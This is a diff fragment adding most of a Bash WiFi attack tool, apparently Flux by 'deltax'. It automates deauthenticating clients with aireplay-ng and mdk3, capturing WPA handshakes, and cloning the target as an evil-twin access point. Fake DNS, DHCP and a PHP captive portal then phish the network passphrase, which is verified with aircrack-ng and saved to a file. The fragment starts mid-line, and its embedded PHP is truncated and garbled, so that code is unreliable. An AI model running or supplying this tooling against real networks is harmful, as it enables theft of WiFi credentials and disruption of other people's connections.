"$PREWIFI" | wc -m) -le 3 ]; then + conditional_clear + mostrarheader + setinterface + fi + + readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') + rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 + + for molesto in "${softwaremolesto[@]}"; do + killall "$molesto" &>$flux_output_device + done + sleep 0.5 + + modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 + sleep 0.5 + # Select Wifi Interface + select PREWIFI in $INTERFACES; do + break; + done + + WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFI_MONITOR=$WIFIMONITOR + WIFI=$PREWIFI + + #No wireless cards + else + + echo There are no wireless cards, quit... + sleep 5 + exitmode + fi + + deltax + +} + +# Check files +function deltax { + + conditional_clear + CSVDB=dump-01.csv + + rm -rf $DUMP_PATH/* + + choosescan + selection +} + +# Select channel +function choosescan { + + conditional_clear + + while true; do + conditional_clear + mostrarheader + + echo "Select channel" + echo " " + echo -e " "$green "1)"$transparent" All channels " + echo -e " "$green "2)"$transparent" Specific channel(s) " + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) Scan ; break ;; + 2 ) Scanchan ; break ;; + * ) echo "Unknown option. Please choose again"; conditional_clear ;; + esac + done +} + +# Choose your channel if you choose option 2 before +function Scanchan { + + conditional_clear + mostrarheader + + echo " " + echo " Select Channel " + echo " " + echo -e " Single channel "$green "6"$transparent" " + echo -e " Multiple channels "$green "1-5"$transparent" " + echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " + echo " " + echo -n " #> " + read channel_number + set -- ${channel_number} + conditional_clear + + rm -rf $DUMP_PATH/dump* + xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR +} + +# Scans the entire network +function Scan { + + conditional_clear + xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR +} + +# Choose a network +function selection { + + conditional_clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + + conditional_clear + + askAP +} + +# FakeAP +function askAP { + + DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` + + if [ $DIGITOS_WIFIS_CSV -le 15 ]; then + selection && break + fi + + if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then + fakeapmode="airbase-ng" + askauth + fi + + mostrarheader + while true; do + + infoap + + echo "MODE FakeAP" + echo " " + echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" + echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" + echo -e " "$green "3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; + 2 ) fakeapmode="airbase-ng"; askauth; break ;; + 3 ) selection; break ;; + * ) echo "Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# Test Passwords / airbase-ng +function askauth { + + conditional_clear + + mostrarheader + while true; do + + echo "METHOD TO VERIFICATION THE PASSWORD" + echo " " + echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" + echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" + echo -e " "$green "3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) authmode="handshake"; handshakelocation; break ;; + 2 ) authmode="wpa_supplicant"; webinterface; break ;; + 3 ) askAP; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +function handshakelocation { + + conditional_clear + + mostrarheader + infoap + echo + echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" + echo -e "Press ${yellow}ENTER$transparent to skip" + echo + echo -n "Path: " + echo -ne "$red" + read handshakeloc + echo -ne "$transparent" + + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake " + echo + sleep 4 + echo "you can try aircrack-ng" + echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" + echo + + read handshakeloc_aircrack + echo -ne "$transparent" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake" + sleep 4 + handshakelocation + fi + fi + fi + else + echo -e "${red}Not_Found$transparent!" + echo + echo -e "File ${red}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${green}MAC$transparent" + echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "Archivo ${red}NO$transparent existe" + sleep 4 + handshakelocation + fi + fi +} + +function deauthforce { + + conditional_clear + + mostrarheader + while true; do + + echo "handshake check" + echo " " + echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" + echo -e " "$green "2)"$transparent" pyrit" + echo -e " "$green "3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="normal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done +} + +############################################### < MENU > ############################################### + + + + + + +############################################# < HANDSHAKE > ############################################ + +# Tipo de Deauth que se va a realizar +function askclientsel { + + conditional_clear + + while true; do + mostrarheader + + echo "Capture Handshake" + echo " " + echo -e " "$green "1)"$transparent" Deauth all" + echo -e " "$green "2)"$transparent" Deauth all [mdk3]" + echo -e " "$green "3)"$transparent" Deauth target " + echo -e " "$green "4)"$transparent" Rescan networks " + echo -e " "$green "5)"$transparent" Exit" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 5 ) exitmode; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# +function deauth { + + conditional_clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + +} + +function deauthMENU { + + Handshake_statuscheck="${grey}No handshake$transparent" + + while true; do + conditional_clear + mostrarheader + + echo "*Capture Handshake* " + echo + echo -e "Status handshake: $Handshake_statuscheck" + echo + echo -e " "$green "1)"$transparent" Yes" + echo -e " "$green "2)"$transparent" Strike again " + echo -e " "$green "3)"$transparent" No (Select another attack)" + echo -e " "$green "4)"$transparent" Select another network" + echo -e " "$green "5)"$transparent" Exit" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) conditional_clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + + done +} + +# Capture all +function capture { + + conditional_clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi +} + +# Check the handshake before continuing +function checkhandshake { + + if [ "$handshakemode" = "normal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${yellow}Corrupt$transparent" + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi +} + +############################################# < HANDSHAKE > ############################################ + + + + + + +############################################# < ATAQUE > ############################################ + +# Select web interface that will be used +function webinterface { + + while true; do + conditional_clear + mostrarheader + + infoap + echo + echo "Select Web Interface" + echo + + echo -e "$green ""1)"$transparent" Web Interface" + echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + conditional_clear + mostrarheader + + infoap + echo + echo "SELECT LANGUAGE" + echo + + echo -e "$green ""1)"$transparent" English [ENG]" + echo -e "$green ""2)"$transparent" Spanish [ESP]" + echo -e "$green ""3)"$transparent" Italy [IT]" + echo -e "$green ""4)"$transparent" French [FR]" + echo -e "$green ""5)"$transparent" Portuguese [POR]" + echo -e "$green ""6)"$transparent" German [GER]" + echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" + + echo + echo -n "#? " + read fluxass + language=${webinterfaceslenguage[$line]} + + if [ "$fluxass" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$fluxass" = "2" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$fluxass" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$fluxass" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$fluxass" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break + + elif [ "$fluxass" = "6" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER + DIALOG_WEB_OK=$DIALOG_WEB_OK_GER + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER + NEUTRA + break + elif [ "$fluxass" = "7" ]; then + continue + fi + fi + + done + preattack + attack +} + +# Create different settings required for the script +function preattack { + +# Config HostAPD +echo "interface=$WIFI +driver=nl80211 +ssid=$Host_SSID +channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf + +# Creates PHP +echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; +break; +} + +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} + + +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); + + +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); + +while(1) +{ + +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} + +?>" > $DUMP_PATH/data/check.php + +# Config DHCP +echo "authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $RANG_IP.0 netmask 255.255.255.0 { + +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; + +range $RANG_IP.100 $RANG_IP.250; + +} +" >$DUMP_PATH/dhcpd.conf + +#create an empty leases file +touch $DUMP_PATH/dhcpd.leases + +# creates Lighttpd web-server +echo "server.document-root = \"$DUMP_PATH/data/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) + +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) +} + +" >$DUMP_PATH/lighttpd.conf + +# that redirects all DNS requests to the gateway +echo "import socket + +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' + + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet+=self.data[12:] + packet+='\xc0\x0c' + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) + return packet + +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Request: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns + +} + +# Set up DHCP / WEB server +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Attack +function attack { + + if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi + + handshakecheck + nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) + + if [ "$fakeapmode" = "hostapd" ]; then + + ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi + + + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + elif [ $fakeapmode = "airbase-ng" ]; then + killall airbase-ng &> $flux_output_device + xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & + fi + sleep 5 + + routear & + sleep 3 + + + killall dhcpd &> $flux_output_device + xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & + killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & + + killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device + + killall aireplay-ng &> $flux_output_device + killall mdk3 &> $flux_output_device + echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + + xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & + conditional_clear + + while true; do + mostrarheader + + echo "Attack in progress .." + echo " " + echo " 1) Choose another network" + echo " 2) Exit" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; + 2 ) matartodo; exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# Checks the validity of the password +function handshakecheck { + + echo "#!/bin/bash + + echo > $DUMP_PATH/data.txt + echo -n \"0\"> $DUMP_PATH/hit.txt + echo "" >$DUMP_PATH/loggg + + tput civis + clear + + minutos=0 + horas=0 + i=0 + timestamp=\$(date +%s) + + while true; do + + segundos=\$i + dias=\`expr \$segundos / 86400\` + segundos=\`expr \$segundos % 86400\` + horas=\`expr \$segundos / 3600\` + segundos=\`expr \$segundos % 3600\` + minutos=\`expr \$segundos / 60\` + segundos=\`expr \$segundos % 60\` + + if [ \"\$segundos\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$minutos\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$horas\" -le 9 ]; then + ih=\"0\" + else + ih= + fi">>$DUMP_PATH/handcheck + + if [ $authmode = "handshake" ]; then + echo "if [ -f $DUMP_PATH/intento ]; then + + if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo " + wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & + wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & + + if [ -f $DUMP_PATH/intento ]; then + + if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi + ">>$DUMP_PATH/handcheck + fi + + echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) + + echo + echo -e \" PUNTO DE ACCESO:\" + echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" + echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" + echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" + echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" + echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" + echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" + echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" + echo + echo -e \" CLIENTES ONLINE:\" + + x=0 + for cliente in \"\${CLIENTESDHCP[@]}\"; do + x=\$((\$x+1)) + CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) + CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then + CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" + fi + + CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$CLIENTE_MAC| grep -q x; then + CLIENTE_FABRICANTE=\"unknown\" + fi + + CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) + + echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" + done + + echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "let i=\$(date +%s)-\$timestamp + sleep 1">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "sleep 5 + + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + let i=\$i+5">>$DUMP_PATH/handcheck + fi + + echo "done + clear + echo \"1\" > $DUMP_PATH/status.txt + + sleep 7 + + killall mdk3 &>$flux_output_device + killall aireplay-ng &>$flux_output_device + killall airbase-ng &>$flux_output_device + kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + + echo \" + FLUX $version by deltax + + SSID: $Host_SSID + BSSID: $Host_MAC ($Host_MAC_MODEL) + Channel: $Host_CHAN + Security: $Host_ENC + Time: \$ih\$horas:\$im\$minutos:\$is\$segundos + Password: \$(cat $DUMP_PATH/data.txt) + \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" + ">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck + fi + + echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck + chmod +x $DUMP_PATH/handcheck +} + + +############################################# < ATTACK > ############################################ + + + + + + +############################################## < STUFF > ############################################ + +# Deauth all +function deauthall { + + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & +} + +function deauthmdk3 { + + echo "$Host_MAC" 